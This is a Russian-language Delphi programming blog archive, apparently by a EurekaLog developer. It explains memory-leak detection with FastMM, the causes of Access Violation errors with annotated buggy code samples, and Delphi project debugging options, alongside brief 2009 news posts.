Окей, по-умолчанию, FastMM_FullDebugMode.dll скомпилирована с поддержкой JCL, что означает, что DLL может читать отладочную информацию в формате map, TD32 и JDBG. Вы также можете перекомпилировать библиотеку для включения поддержки EurekaLog - в этом случае к уже перечисленным форматам добавится собственный формат EurekaLog. Чтобы сделать это, вам нужно включить опцию EurekaLog и выключить JCLDebug в файле FastMM_FullDebugMode.dpr, после чего перекомпилировать DLL. Тогда для правильной работы FastMM вам нужно просто включить EurekaLog для вашей программы.
Если же вы не хотите или не можете перекомпилировать DLL, то вы можете добавить в вашу программу отладочную информацию в виде map-файла, TD32 или JDBG. Первые два варианта поддерживаются Delphi "из коробки": первый включается установкой опции "Map file" в "Detailed" на вкладке "Linker", второй вариант - включением опции "Include TD32 debug info" ("Debug information" в D2009 и выше) на вкладке "Linker" в опциях проекта.
В первом случае будет генерироваться отдельный файл, который вам нужно будет таскать с программой, во втором случае отладочная информация будет включаться в сам исполняемый модуль.
К сожалению, оба эти варианта плохо подходят для распространения приложения, т.к. они значительно увеличивают размер программы. Наиболее компактный вариант - это отладочная информация в формате EurekaLog или JCL. Если с первым я уже всё сказал, то второй вариант предполагает скачивание и установку библиотеки JCL (там есть автоматический установщик) и включение генерации/внедрения отладочной информации:

Включение внедрения отладочной информации формата JDBG
Скорее всего, вы захотите включить все три опции.
Вот как выглядит одна полная запись об утечке памяти в лог-файле:

--------------------------------2009/5/26 21:52:35--------------------------------
A memory block has been leaked. The size is: 12

This block was allocated by thread 0x4F8C, and the stack trace (return addresses) at the time was:
403206 [System][System.@GetMem]
4CC5B7 [Unit15.pas][Unit15][Unit15.B][35]
4CC5C4 [Unit15.pas][Unit15][Unit15.A][39]
4CC5DC [Unit15.pas][Unit15][Unit15.TForm15.FormCreate][43]
4C0CCB [Forms][Forms.TCustomForm.DoCreate]
4C0913 [Forms][Forms.TCustomForm.AfterConstruction]
4C08E8 [Forms][Forms.TCustomForm.Create]
4CA539 [Forms][Forms.TApplication.CreateForm]
4CD986 [Project14][Project14.Project14][14]
75B94911 [BaseThreadInitThunk]
770FE4B6 [Unknown function at RtlInitializeExceptionChain]

The block is currently used for an object of class: TTest

The allocation number is: 3814

Current memory dump of 256 bytes starting at pointer address 7FF75E50:
A0 C5 4C 00 E8 5E F7 7F 00 00 00 00 F4 20 51 2A 00 00 00 00 E0 4B F7 7F 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 E7 0E 00 00 06 32 40 00 B7 C5 4C 00 C4 C5 4C 00 DC C5 4C 00 CB 0C 4C 00
13 09 4C 00 E8 08 4C 00 39 A5 4C 00 86 D9 4C 00 11 49 B9 75 B6 E4 0F 77 8C 4F 00 00 22 32 40 00
EF 70 42 00 26 6B 42 00 D9 6A 42 00 5A 9B 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 8C 4F 00 00 08 00 00 00 00 00 00 00 81 6F AF 70 0C 11 40 00 00 00 00 00
7E 90 50 8F 80 80 80 80 00 00 00 00 E0 4B F7 7F 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00
E8 0E 00 00 06 32 40 00 DC C5 4C 00 CB 0C 4C 00 13 09 4C 00 E8 08 4C 00 39 A5 4C 00 86 D9 4C 00
11 49 B9 75 B6 E4 0F 77 89 E4 0F 77 00 00 00 00 8C 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  Е L . и ^ ч  . . . . ф Q * . . . . а K ч  . . . . . . . .
я я я я . . . . з . . . . 2 @ . · Е L . Д Е L . Ь Е L . Л . L .
. . L . и . L . 9 Ґ L . † Щ L . . I № u ¶ д . w Њ O . . " 2 @ .
п p B . & k B . Щ j B . Z › B . . . . . . . . . . . . . . . . .
. . . . . . . . Њ O . . . . . . . . . . Ѓ o Ї p . . @ . . . . .
~ ђ P Џ Ђ Ђ Ђ Ђ . . . . а K ч  . . . . . . . . я я я я . . . .
и . . . . 2 @ . Ь Е L . Л . L . . . L . и . L . 9 Ґ L . † Щ L .
. I № u ¶ д . w ‰ д . w . . . . Њ O . . . . . . . . . . . . . .


MemProof/AQTime


Эти два инструмента являются профессиональными профайлерами, которые могут диагностировать проблемы не только с утечками памяти, но и с утечками других типов ресурсов. Из всех перечисленных инструментов это - самый функциональный вариант. MemProof - это (бесплатный) предшественник AQTime, который более не поддерживается, но его ещё можно найти на просторах интернета.
Я не буду рассматривать использование этих инструментов здесь, т.к. это отдельная большая тема. Интересующихся, отправляю к этой статье.
Замечу, что они позволяют справляться даже с такими проблемами, как неявные утечки памяти. Например, объекты могут не освобождаться вовремя, скапливаясь в каком-либо глобальном списке. Они реально не используются в программе и их число со временем растёт, но, тем не менее, они не считаются за утечку памяти, т.к. список вместе со всеми объектами корректно удаляется при выходе из программы.

Не только утечки...


Как я не раз упоминал тут - утилиты по диагностике учетек памяти зачастую имеют побочную функциональность, которая помогает отловить и другие типы "плохого использования" памяти, в частности, различные проблемы с объектами, которые могут приводить к возникновению Access Violation. Напомню, что Access Violation - это весьма хитрая штука, которая может и не возникать в вашем коде, даже если в нём есть баг. Простейший способ убедиться в этом:

var
Str: TStringList;
begin
Str := TStringList.Create;
try
Str.Add('Test 1');
finally
Str.Free;
end;
Str.Add('Test 2'); // ошибка! Обращение к уже удалённому объекту
ShowMessage(Str.Text);
end;

Хотя этот код содержит глюк, в подавляющем большинстве случае он отлично отработает у вас без единого исключения и даже покажет какой-то результат.
Но об этом мы поговорим в следующий раз.
В любом случае, у вас всегда есть вариант просто переписать код ;)

См. также: как читать отчёты об ошибках.

P.S. Ах, да, ещё одно: не важно, какой инструмент вы решили использовать, вы всегда можете улучшить его работу, выбором подходящих опций проекта ;)

Посмотреть текст целиком...

11 мая 2009 г.

Access Violation в деталях

Пост блога EurekaLog.

Исключение класса EAccessViolation - это самое частое исключение в Delphi-программах. Я хотел бы рассмотреть, что это такое, когда возникает, и как с ним бороться. Этот пост скорее для начинающих, поэтому данные могут излагаться с упрощением.
Примечание: если вы плохо или совсем не понимаете, что такое указатели и/или объекты - рекомендую сначала прочитать эту статью.

Что такое Access Violation


Каждая программа использует при работе память (*). Память занимает любая переменная в вашей программе. Будь это форма, компонент, массив, запись, строка или же простой Integer. Под некоторые переменные память выделяется автоматически (например, под переменные типа Integer и статические массивы), под другие - вы должны выделять её сами, явно (например, динамические массивы). Собственно, с точки зрения операционной системы каждая переменная характеризуется адресом в памяти (местоположением) и размером. Понятно, что обычно данные разных переменных не пересекаются - за исключением случаев обращением к одной области памяти через разные имена с помощью указателей.

Грубо говоря, обычно в программе используется три типа памяти: область памяти для глобальных переменных, стек и куча.
Память для глобальных переменных выделяется загрузчиком ОС при загрузке исполняемого модуля программы в память и освобождается при выгрузке модуля (выходе из программы). Глобальные переменные - это любые переменные, объявление которых располагается вне класса или процедуры. Стек используется для размещения локальных переменных (объявленных в процедуре/функции) и служебных данных (типа адресов возврата и адресов обработчиков исключений). Куча же используется для размещения динамических данных.
Заметим, что для переменных динамических типов данных (динамические массивы, строки, любые объекты, компоненты), хотя сама переменная может размещаться в области для глобальных переменных или в стеке (а, значит, память для неё выделяется автоматически), но данные, на которые она указывает, всегда размещаются в куче и, зачастую, должны управляться вручную.

Вне зависимости от того, кто выделяет память для переменной (вы вручную или компилятор автоматически), память для любой переменной должна быть выделена перед использованием, а потом, когда переменная уже не будет нужна - освобождена.
Иногда из-за ошибок в коде программы происходит ситуация, когда программа при выполнении пытается получить доступ к памяти, которая не была выделена или уже была освобождена. Когда такое происходит, процессор возбуждает исключение класса EAccessViolation. Обычный текст ошибки в приложении Delphi - "Access violation at address XXX in module 'YYY'. Write/read of address ZZZ" ("Нарушение доступа по адресу XXX в модуле 'YYY'. Попытка записи/чтения в ZZZ"). Хотя причина этого исключения всего одна (попытка обращения к недействительной памяти), но эта ошибка может проявлять себя в весьма разном виде и коде.

Более подробно об указателях и памяти говорится в уже упоминавшейся выше статье.

Ищем место возникновения Access Violation


Как, собственно, бороться с этими ошибками? Ну, если вы получили EAccessViolation под отладчиком:


То нужно просто нажать на "Break" ("Ok" в старых версиях Delphi) и отладчик сразу же ткнёт вас на строчку с ошибкой. Также можно посмотреть стек вызовов (в меню Delphi - View/Debug windows/Call Stack):


В этом окне будет показано, как же вы туда попали. Читается это дело сверху вниз (текущее место помечено стрелочкой). Можно дважды щёлкать по строкам в этом окне для перехода в код, соответствующий этой строке.

Если же вы используете средства автоматической диагностики типа EurekaLog, то вместо обычного сообщения об ошибке вы получите баг-отчёт, в котором будет виден тот же самый Call Stack (вид стека вызова может отличаться из-за различных методов его получения):


Не имеет значения, столкнулись ли вы с проблемой во время отладки или получили баг-отчёт от EurekaLog для уже распространяемой программы - хорошо бы подготовиться к этой ситуации заранее и включить опции проекта, упрощающие отладку. Как правило, это опции "Use Debug DCUs" и "Stack frames".

Окей, найти место ошибки - это только пол-дела. Определить почему же в этой строке возникла ошибка - это вторые пол-дела.

Ищем причину возникновения Access Violation анализом кода


Если ситуация возникла у вас в отладчике, то тут всё относительно просто: вам нужно установить точку останова на проблемную строчку и проверить значения всех переменных и выражений, участвующих в ней - вот вам и причина ошибки, находится сразу же. Я не буду подробно останавливаться на теме отладки здесь, более подробно об этом написано в моей статье, часть 2 (осторожно: большой размер).

В случае, если у вас на руках есть только баг-репорт, а не ситуация под отладчиком, то вам придётся использовать свои телепатические способности, которые обычно развиваются с опытом. Дабы помочь вам в этом, здесь я как-раз и хочу рассмотреть типичные причины возникновения ошибки Access Violation.

1. Во-первых, это всевозможные ошибки выхода за границы массивов. Например, типичная ошибка новичка может выглядеть так:

var
X: Integer;
...
for X := 1 to Length(List) do // ошибка! Должно быть: for X := 0 to Length(List) - 1 do
begin
// ... делаем что-то с List[X]
end;

Если в вашей проблемной строке есть скобочки типа [], то у вас есть хороший довод к проверке допустимости выражения в [].

Обычно такие ошибки нужно отлавливать на стадии отладки, включая опцию Range Check Errors. Дело в том, что подобные ошибки весьма опасны тем, что могут пройти незамеченными (и потом редко ловятся при эксплуатации программы), даже более того - они могут разрушить стек, так что нельзя будет получить место возникновения ошибки. Но об этом позже.

2. Различного рода неверные передачи параметров. Обычно эти ошибки отлавливаются во время разработки и тестирования, нежели во время эксплуатации программы. Чаще всего они возникают при использовании процедур с нетипизированными параметрами. Сюда же относятся различные варианты ошибок переполнения буфера, например:

var
S1: array of Integer;
S2: String;
...
// Неверно:
Stream.ReadBuffer(S1, 256); // портит указатель S1
// Правильно:
Stream.ReadBuffer(S1[0], 256); // читает данные из потока в массив

// Неверно:
FillChar(S2, Length(S2), 0); // портит указатель S2
// Правильно:
FillChar(Pointer(S2)^, Length(S2), 0); // очищает строку, забивая её данные нулями

Для избавления от таких ошибок нужно просто внимательно изучать документацию на функции: что они ожидают увидеть и что вы действительно им подсовываете.

3. Передачи данных между двумя менеджерами памяти. Обычно ошибки такого плана возникают при передаче данных из DLL в приложение или наоборот. а также между двумя DLL. Чаще всего новички любят передавать из/в DLL строки типа String.
Причины этого я рассматривал ранее. Эти ошибки обычно отлавливаются немедленно во время разработки программы и очень редко доживают до рабочей программы. Решаются эти проблемы правильным проектированием.

4. Неверное объявление функций, импортируемых из DLL. Наиболее часто путают модель вызова. Если у вас получается EAccessViolation при вызове функции из DLL - просто внимательно посмотрите на её объявление и убедитесь, что её сигнатура верна - чаще всего пропускают модель вызова, stdcall или cdecl.
Хотя обычно ошибки такого плана отлавливаются на этапе разработки, тем не менее могут быть ситуации, когда ошибка проползает в готовую программу. Вот увлекательная история Реймонда Чена о том, как программа может работать с неверно объявленным прототипом функции (довольно интересны и посты в серии до и после этого).

5. Отсутствие синхронизации при работе с потоками. Если вы делаете программу с использованием нескольких потоков, то у вас могут быть проблемы, если вы не обеспечили необходимой синхронизации. Например, любые обращения к VCL запрещены из вторичных потоков - вам нужно использовать Synchronize. Собственно, проблемы тут возникают, когда один поток меняет данные с которыми работает второй поток - что для последнего становится полной неожиданностью.
К сожалению, ошибки с синхронизацией потоков наиболее тяжело диагностировать. Лучшее, что вы можете сделать - прогарантировать, что такие проблемы никогда не возникнут: используйте Synchronize и/или заключайте код в критические секции при работе с разделяемыми потоками переменными. Иногда проблемы возникают из-за использования CreateThread вместо BeginThread или TThread (из-за отсутствия установки IsMultiThreaded).

6. Вызовы функций или процедур по процедурной переменной, когда она содержит неверное значение. Например:

var
Lib1, Lib2: HMODULE;
Proc: procedure;
...
Lib1 := LoadLibrary('MyDll.dll'); // один код загрузил библиотеку. Быть может - другой поток
...
Lib2 := GetModuleHandle('MyDll.dll');
Proc := GetProcAddress(Lib2, 'MyProc'); // нет проверки на ошибку. Функции может не быть - тогда Proc будет равна nil
Proc; // Proc может быть равна nil - будет Access Violation
...
FreeLibrary(Lib1); // ещё какой-то код выгрузил библиотеку
...
Proc; // хотя Proc <> nil, код, на который она указывает,
// больше не загружен - здесь будет AV.

Ситуация очень сильно напоминает следующий пункт и бороться с нею нужно такими же методами.

7. Вызовы методов или любые другие обращения к объектам или компонентам, которые ещё не созданы или же были уже удалены. Подозревать эту причину нужно, когда в проблемной строке у вас участвует переменная-объект или компонент. Особенно, если вы хоть где-то в программе занимаетесь ручным созданием или освобождением компонентов или объектов.
Проблема в том, что при освобождении компонента, его ссылка-переменная не меняется, продолжая указывать на уже удалённую память. Кроме того, локальные переменные не инициализируются автоматически при входе в процедуру и содержат мусор. Вот пример подобного рода ошибок:

var
Str: TStringList;
...
Str.Add('S'); // Ошибка! Мы забыли создать объект вызовом Str := TStringList.Create;
...
Str := TStringList.Create;
Str.Add('S');
...
Str.Free; // Здесь мы удалили объект, но ссылка Str по-прежнему указывает на ту же область памяти
...
if Str.Count > 0 then // Ошибка! Обращение к уже удалённому объекту

Как мы уже говорили ранее, в приложениях Delphi есть служебный код, называемый "менеджером памяти", который отвечает за выделение и освобождение памяти в вашей программе и служит прослойкой между низко-уровневыми функциями операционной системы и вашим кодом. При всей своей пользе менеджер памяти, однако, добавляет в программу одну проблему: из-за него в программе находится куски памяти, которые выделены с точки зрения операционной системы, но свободны с точки зрения программы. Например, удалили вы компонент, но менеджер памяти не отдаёт память системе немедленно, придерживая её для дальнейшего использования.

Поэтому все ошибки доступа к памяти опасны в первую очередь тем, что могут пройти незамеченными. Например, мы обращаемся к уже удалённому объекту, но поскольку менеджер памяти ещё не отдал эту память системе, то обращение может пройти успешно. Чуть ранее мы говорили, что для предотвращения таких ситуаций вам нужно использовать FreeAndNil и другие механизмы. Ситуация ещё хуже с локальными массивами: дело в том, что локальные массивы размещаются в стеке, в котором обычно есть довольно большие участки размещённой памяти по краям массива. Что ещё хуже, эта память обычно реально используется программой (в отличие от памяти, которую мы освободили при удалении объекта), так что вы можете, спокойно промахнувшись, записать что-то не туда, и в итоге, ошибка всплывёт в совершенно другом месте из-за испорченных данных. Чтобы сделать ситуацию ещё хуже: в стеке храняться и служебные данные программы, необходимые для её выполнения - это адреса возврата и обработчики исключений.

Например:
procedure TForm13.Button1Click(Sender: TObject);
var
S: array [0..1] of Integer;
I: Integer;
begin
I := 2; // предположим, что это значение как-то вычисляется и
// из-за ошибки в программе получает неверное значение
S[I] := 0; // эта строка затрёд адрес возврата из Button1Click в стеке
end; // в этой строке произойдёт Access Violation, т.к. мы испортили адрес возврата

procedure TForm13.Button2Click(Sender: TObject);
var
S: array [0..1] of Integer;
I: Integer;
begin
I := -6; // пусть мы снова ошиблись в I
try
S[I] := 1; // вместо массива мы стираем обработчик исключений, установленный try
S[I + 1] := 2;
S[I + 2] := 3;
Abort; // полный вылет программы, т.к. менеджер исключений обнаружил испорченный стек
except
ShowMessage('Aborted');
end;
end;

procedure TForm13.Button3Click(Sender: TObject);
var
S: array [0..1] of Integer;
I: Integer;
begin
I := -1; // пусть мы снова ошиблись в I
S[I] := 1; // хотя мы снова портим стек, но нам это сходит с рук
// никакого EAccessViolation не будет вовсе!
end;

Весьма коварные ситуации, не правда ли? В зависимости от того, как именно мы ошибёмся в индексе массива мы можем получить (**):
а). Программу, выдающую правильные результаты.
б). Программу, выдающую неверные результаты.
в). Программу, возбуждающую исключение.
г). Программу, вылетающую вообще.
Причём одна и та же программа с таким багом может показывать любое из этих поведений, смотря по тому на какой машине она запущена и в каки условиях/окружении выполняется.

Вот почему чрезвычайно важно использовать опцию Range Check Errors во время разработки и тестирования.
Ну, вы можете также включить её и для release-версии кода, если не уверены в качестве своей стадии тестирования.

Итак, что собственно нужно сделать, когда мы получили Access Violation? Ну, с помощью предыдущего пункта мы находим строку с ошибкой, а дальше пытаемся по пунктам подставить возможные причины:
- Есть в строке []? - подумаем, а не может ли у нас быть неверный индекс?
- Есть работа с объектами? Проследим, какова логика работы - не удаляется ли объект раньше времени?
- Используем DLL? А правильно ли объявлена функция? А уж не обмениваемся ли мы динамическими данными (строками, там, массивами)?
и т.д.

Существенную помощь в таком анализе нам поможет следующий пункт.

Ищем причину возникновения Access Violation анализом данных


Во-первых, мы можем попытаться вытащить информацию из самого сообщения об ошибке. Напомним его вид:

Access violation at address XXX in module 'YYY'. Write/read of address ZZZ.

Во-первых, адрес XXX указывает на точное место в программе, где произошла ошибка. Именно по этому адресу отладчик Delphi и EurekaLog ищут строчку для показа её вам. Также модуль, которому она принадлежит, показывается в сообщении как YYY. Обычно это ваша программа, DLL или системаная DLL. Однако, иногда это может быть и совершенно левое значение. Например, если в сообщении не указан модуль или значение XXX выглядит подозрительно (меньше $400000 или больше $7FFFFFFF), то у вас либо проблемы с перезаписью стека (пункт "в" в конце предыдущего раздела), либо вызов неверной функции (пункт 6 или, иногда, 4 из предыдущего раздела).
Следующий полезный кусок информации - это слово "write" или "read". Первое означает, что возникла проблема при записи информации, второе - что проблема была при чтении. Соответсвенно, вам нужно проверять в строке кода либо операции записи, либо операции чтения. Например, если проблемная строка была "P := W;", то вам нужно обратить внимание на P, если в сообщении стоит "write". Если же там стоит "read", то нужно проверять, что же у нас с W.
И последний кусок информации, который можно извлечь из сообщения - это ZZZ. Собственно, точное значение нас обычно не волнует. Важен только факт - велико оно или мало. Мало - это что-то типа $00000000, $0000000A, $00000010 и т.п. Большие значения - это, например, $00563F6A, $705D7800 и др. Если ZZZ мало, то у вас идёт обращение по ссылке равной nil. Если оно велико, то у вас идёт обращение по ненулевой, но мусорной ссылке. В первом случае вам нужно искать, зачем же вы полезли по ссылке равной nil (или кто же освободил переменную раньше времени), во втором случае вам нужно понять, кто же это такой освободил объект, а ссылку не занулил. Короче говоря, это значение (так же, как и с "write"/"read") помогает сузить область поиска.

Помимо сообщения, если у вас есть баг-репорт, вы можете проанализировать значения регистров и состояние памяти. В этом вам помогут две последние вкладки в отчёте EurekaLog:



На первой вкладке вы можете видеть ассемблерный листинг своей программы. Приводится он здесь только для удобства - чтобы не надо было лезть ещё куда-то, чтобы подсмотреть его. Никакой информации он не несёт. А вот на второй вкладке вы можете видеть состояние регистров, (части) стека и (части) памяти в момент исключения. В данном случае мы смотрим на ассемблерный листинг и видим, что в проблемной команде участвуют регистры eax и edx. По вкладке CPU мы находим, что eax равен 0, что означает, что мы пытаемся присвоить значение по указателю, равному nil. Взглянув на строчку исходника, которую мы узнали из стека вызовов, мы узнаем имя переменной. Вот вам и причина: переменная оказалась равна nil.
Конечно, это работа с этой информацией требует минимального знания ассемблера, но зато и является довольно мощным инструментом.

В следующий раз мы поговорим о ситуациях, когда у вас в коде есть ошибка, но никакого исключения не возбуждается. Частично мы уже говорили об этом здесь (например, пункт "1" и пункты "а"-"б" во конце второго раздела). Но в следующий раз мы пойдём чуть дальше и посмотрим, что ещё можно сделать для отлова таких ситуаций. И, в любом случае, у вас всегда есть возможность переписать код ;)

См. также: как читать баг-отчёты.

Примечания:
(*) Очень подробно о памяти для приложений рассказывает Марк Руссинович.
(**) Вот ещё один пример, как один и тот же код может демонстировать широкий диапазон поведений.

Посмотреть текст целиком...

8 мая 2009 г.

Terminator Salvation

Мрачно и зрелищно...




Ещё есть атмосферный сайт, а также сайт Terminate Yourself, где можно забуцкать свою фотку в стиле терминатора.

21 мая в кинотеатрах за бугром, 4-го июня в России.

Посмотреть текст целиком...

6 мая 2009 г.

Borland is no more...

Borland-а больше не будет.

MicroFocus объявила о покупке ими Borland. Согласно объявлению, "Borland покупается за, примерно, 75 миллионов $". Эта же новость на TechWorld. А вот и на BusinessWire.

Разумеется, теперь это уже не имеет никакого отношения с CodeGear и Delphi, т.к. теперь они принадлежат совсем другой компании - Embarcadero Technologies.

Посмотреть текст целиком...

4 мая 2009 г.

Как стать Программистом

Мимо этого я не мог пройти мимо.
Вот, в четырёх частях, наслаждайтесь:
Часть 1
Часть 2
Часть 3
Часть 4
Заметьте, что речь идёт о Программисте, а не о программисте ;)

Посмотреть текст целиком...

21 апреля 2009 г.

Блог EurekaLog

Команда EurekaLog рада объявить о доступности нового блога EurekaLog.
Там мы будем публиковать различные посты, связанные с проектом EurekaLog. Вы найдёте описания внутренних механизмов EurekaLog, советы, статьи для начинающих и профессионалов, случайные мысли разработчиков и прочие полезняшки.

Вы можете посетить его по ссылке:
http://blog.eurekalog.com/

...ну и, конечно же, все свои посты с того блога я буду публиковать и здесь тоже (уже на русском). Пока ещё блог не интегрирован с главным сайтом - но это временно. К моменту выхода v7 готовятся и другие ресурсы.

P.S. Кстати, тему для блога EurekaLog почти целиком делал я :D

Посмотреть текст целиком...

19 апреля 2009 г.

Настройки проектов в Delphi с точки зрения поиска ошибок

Пост блога EurekaLog.

Сегодня я хочу рассмотреть различные настройки проектов Delphi, которые могут влиять на отладку приложений.

О чём идёт речь

Сначала, давайте посмотрим на них: открываем Project/Options. Нас будут интересовать вкладки Compiling и Linking (в старых версиях Delphi они назывались Compiler и Linker):

Вкладка Compiling
Вкладка Compiling в D2009

Вкладка Linking
Вкладка Linking в D2009

На вкладке «Compiler» нас будут интересовать опции «Stack Frames», группа «Debug information», «Local Symbols» и «Symbol reference info», «I/O Checking», «Overflow checking» и «Range checking». На «Linking» - «Map file», «Debug Information» (известная в предыдущих версиях Delphi как «Include TD32 debug info») и «Include remote debug symbols».

Давайте посмотрим, за что отвечают эти опции. А затем - как их лучше бы всего расставить. При этом мы будем рассматривать такие ситуации: обычное приложение и приложение с механизмом диагностики исключений.
Кроме того, настройки проекта могут отличаться, компилируете ли вы приложение для себя или для распространения. В новых версиях Delphi появились профили настроек (Debug и Release, соответственно). Вы можете задать свой набор настроек в каждом профиле, а затем переключаться между ними. В старых Delphi есть только один профиль настроек и вам нужно менять каждую настройку вручную.
Напомним, что при смене любой из опций необходимо сделать полный Build проекту (а не просто Compile).

Что означают эти опции?

Самыми важными настройками являются группа опций «Debug information», «Local Symbols» и «Symbol reference info».
Программа представляет собой набор машинных команд. Текст программы представляет собой текстовый файл. Вопрос: как отладчик узнаёт, когда надо остановиться, если вы поставили бряк на строку в тексте? Где же соответствие между текстовым файлом и набором байт в exe-файле? Вот для такой связи и служит отладочная информация. Это, грубо говоря, набор инструкций типа: «машинные коды с 1056 по 1059 относятся к строке 234 модуля Unit1.pas». Вот с помощью такой информации и работает отладчик. Указанные выше опции отвечают за генерацию отладочной информации для ваших модулей.
Отладочная информация сохраняется вместе с кодом модуля в dcu-файле. Т.е. один и тот же Unit1.pas может быть скомпилирован как с отладочной информацией, так и без неё - в разные dcu файлы. Отладочная информация увеличивает время компиляции, размер dcu-файлов, но не влияет на размер и скорость работы полученного exe-файла (т.е. отладочная информация не подключается к exe-файлу).
Бывают ситуации, когда наличие отладочной информации в файле или (хотя бы) рядом с файлом является необходимым. Например, если вы выполняете удалённую отладку или отладку внешнего процесса. Или если вам нужен читаемый стек вызовов в вашем средстве диагностики исключений.
Подключение отладочной информации к приложению осуществляется несколькими способами: либо это опции проекта (а именно: «Map File», «Debug information» (Linker)/«Include TD32 Debug info» или «Include remote debug symbols»), либо это возможности всевозможных экспертов (типа EurekaLog, JCL или madExcept), который добавляют отладочную информацию в программу в своём формате.
  • «Debug information» (директива {$D+} или {$D-}) – это собственно и есть отладочная информация. Т.е. соответствие между текстом программы и её машинным кодом. Вы должны включить эту опцию, если хотите ставить бряки, выполнять пошаговую отладку, а также иметь стек с именами для своего кода. Часто эту опцию включают автоматически различные эксперты типа EurekaLog.
  • «Local symbols» (директива {$L+} или {$L-}) – является дополнением к отладочной информации. Она отвечает за соответствие между данными в exe-файле и именами переменных. Если вы включаете эту опцию, то отладчик позволит вам просматривать и изменять переменные. Также окно «Call Stack» будет способно отражать переданные в процедуры параметры.
  • «Reference info» – это дополнительная информация для редактора кода, которая позволяет ему отображать более подробную информацию об идентификаторах. Например, где была объявлена переменная.
Эти три опции тесно связаны и обычно нет смысла включать/выключать их по одной.
  • «Use Debug DCUs» - эта опция переключает сборку вашей программы с отладочными модулями Delphi или с обычными. Если вы внимательно посмотрите на установку Delphi, то увидите, что pas файлы из папки Source никогда не используются для компиляции - а только для отладки. Для компиляции же используются уже готовые dcu-файлы из папки Lib. Это уменьшает время компиляции. Поскольку dcu могут быть скомпилированы с отладочной информацией и без неё, то в папке Lib есть два набора dcu-файлов: обычные и отладочные. Переключая эту опцию, вы указываете, какие из них использовать. Если вы выключите эту опцию, то не сможете заходить по F7 в стандартные функции и методы Delphi (т.к. для них будет отсутствовать отладочная информация). Также при выключенной опции вы не будете видеть информацию о стандартном коде в стеке вызовов.
  • «Stack Frames» - эта опция отвечает за генерацию стековых фреймов. Если опция выключена, то стековый фрейм не генерируется без необходимости. Если она включена -то фрейм генерируется всегда. Стековые фреймы используются при построении стека вызовов по фреймам (построение методом raw-сканирование не нуждается в стековых фреймах). В обычном приложении стековые фреймы генерируются практически всегда (*).
  • «Range checking» - служит помощником в поиске проблем при работе, например, с массивами. Если её включить, то для любого кода, который работает с массивами и строками, компилятор добавляет проверочный код, который следит за правильностью индексов. Если при проверке обнаруживается, что вы вылезаете за границы массива, то будет сгенерировано исключение класса ERangeError. При этом вы можете идентифицировать ошибку обычной отладкой. Если же опция выключена, то никакого дополнительного кода в программу не добавляется. Включение опции немного увеличивает размер программы и замедляет её выполнение. Рекомендуется включать эту опцию только в отладочной версии программы.
  • «Overflow checking» - похожа на опцию «Range checking», только проверочный код добавляется для всех арифметических целочисленных операций. Если результат выполнения такой операции выходит за размерность (происходит переполнение результата), то возбуждается исключение класса EIntOverflow. Пример – к байтовой переменной, равной 255, прибавляется 2. Должно получиться 257, но это число больше того, что помещается в байте, поэтому реальный результат будет равен 1. Это и есть переполнение. Эта опция используется редко по трём причинам. Во-первых, самый разный код может рассчитывать на то, что эта опция выключена (часто это различного рода криптографические операции, подсчёт контрольной суммы и т.п., но не только). В связи с этим при включении этой опции могут начаться совершенно различные проблемы. Во-вторых, в обычных ситуациях работают с четырёхбайтовыми знаковыми величинами, и работа около границ диапазонов представления происходит редко. В-третьих, арифметические операции с целыми – достаточно частый код (в отличие от операций с массивами), и добавление дополнительной работы на каждую операцию иногда может быть заметно (в смысле производительности).
  • «I/O Checking» - эта опция используется только при работе со файлами в стиле Паскаля, которые считаются устаревшими. По-хорошему, вы не должны использовать их и, соответственно, эту опцию.
  • «Map file» - включение опции заставляет линкёр Delphi создавать вместе с проектом map-файл. Различные установки опции отвечают за уровень детализации и обычно имеет смысл ставить только Off или Detailed. Map файл обычно используется всевозможными утилитами типа EurekaLog, JCL или madExcept в качестве первичного источника для создания отладочной информации в своём формате. Поэтому руками устанавливать эту опцию вам придётся крайне редко - эксперты включают её самостоятельно по необходимости.
  • «Debug Information» (Linker)/«Include TD32 debug info" - внедряет в приложение отладочную информацию для внешнего отладчика в формате TD32. Обычно эта опция включается, если вы отлаживаете проект через Attach to process и Delphi не может найти отладочную информацию. При включении этой опции размер приложения увеличивается в 5-10 раз. Поэтому, если вам нужна отладочная информация в распространяемом приложении - лучше рассмотреть другие варианты (лучше всего подходит отладочная информация в специализированных форматах - EurekaLog, JCL, madExcept).
  • «Include remote debug symbols" - заставляет линкёр создать rsm-файл вместе с проектом, в который записывается информация для удалённого отладчика Delphi. Вам нужно включать эту опцию, если вы хотите выполнить удалённую отладку. Полученный rsm-файлик нужно копировать вместе с приложением на удалённую машину.

Замечу также, что эти опции можно выставлять и локально - как для целого модуля, так и для отдельной функции/процедуры (а для некоторых опций - даже для участка кода). Делается это обычными директивами компилятора, узнать которые вы можете, нажав F1 в окне настроек. Например, «Stack Frames» регулируется {$W+} и {$W-}.

Всю эту информацию можно просуммировать и дать рекомендации по установке опций для различных случаев жизни. Они приведены ниже. Жирным выделены настройки, отличающиеся от умалчиваемых (т.е. на них нужно обратить внимание и выставить вручную).

Обычное приложение без механизма диагностики исключений

Общие настройки для любых профилей

Все опции отладки («Debug information» (Compiler), «Local symbols», «Reference info») вообще на готовый модуль не влияют, т.к. отладочная информация в exe/DLL не хранится, ну и нам жить не мешают => поэтому смысла их выключать я не вижу («Use Debug DCUs» - устанавливайте по вкусу, смотря по тому, хотите вы отлаживаться в стандартных модулях или нет).
«Stack Frames» вообще включать незачем.
Генерацию map-файла выключаем.

Профиль Debug

Включаем «Range checking» и (по вкусу) «Overflow checking».
«Include TD32 debug info» - включаем только для отладки внешнего процесса.
Соответственно, «Include remote debug info» - включаем только для удалённой отладки.

Профиль Release

Выключаем «Range checking», «Overflow checking», «Include TD32 debug info» и «Include remote debug info».

Приложение с механизмом диагностики исключений (типа EurekaLog, JCL или madExcept)

Общие настройки любых профилей

Все опции отладки («Debug information» (Compiler), «Local symbols», «Reference info») держать включёнными, т.к. в противном случае не будет доступна отладочная информация. Соответственно, ваши информационные механизмы пойдут лесом.
«Stack Frames» - вообще вЫключать незачем.
Генерацию map-файла включаем, если об этом не позаботился эксперт (маловероятно).

Профиль Debug

«Use Debug DCUs» - по вкусу.
Включаем «Range checking» и (по вкусу) «Overflow checking».
«Include TD32 debug info» - включаем только для отладки внешнего процесса.
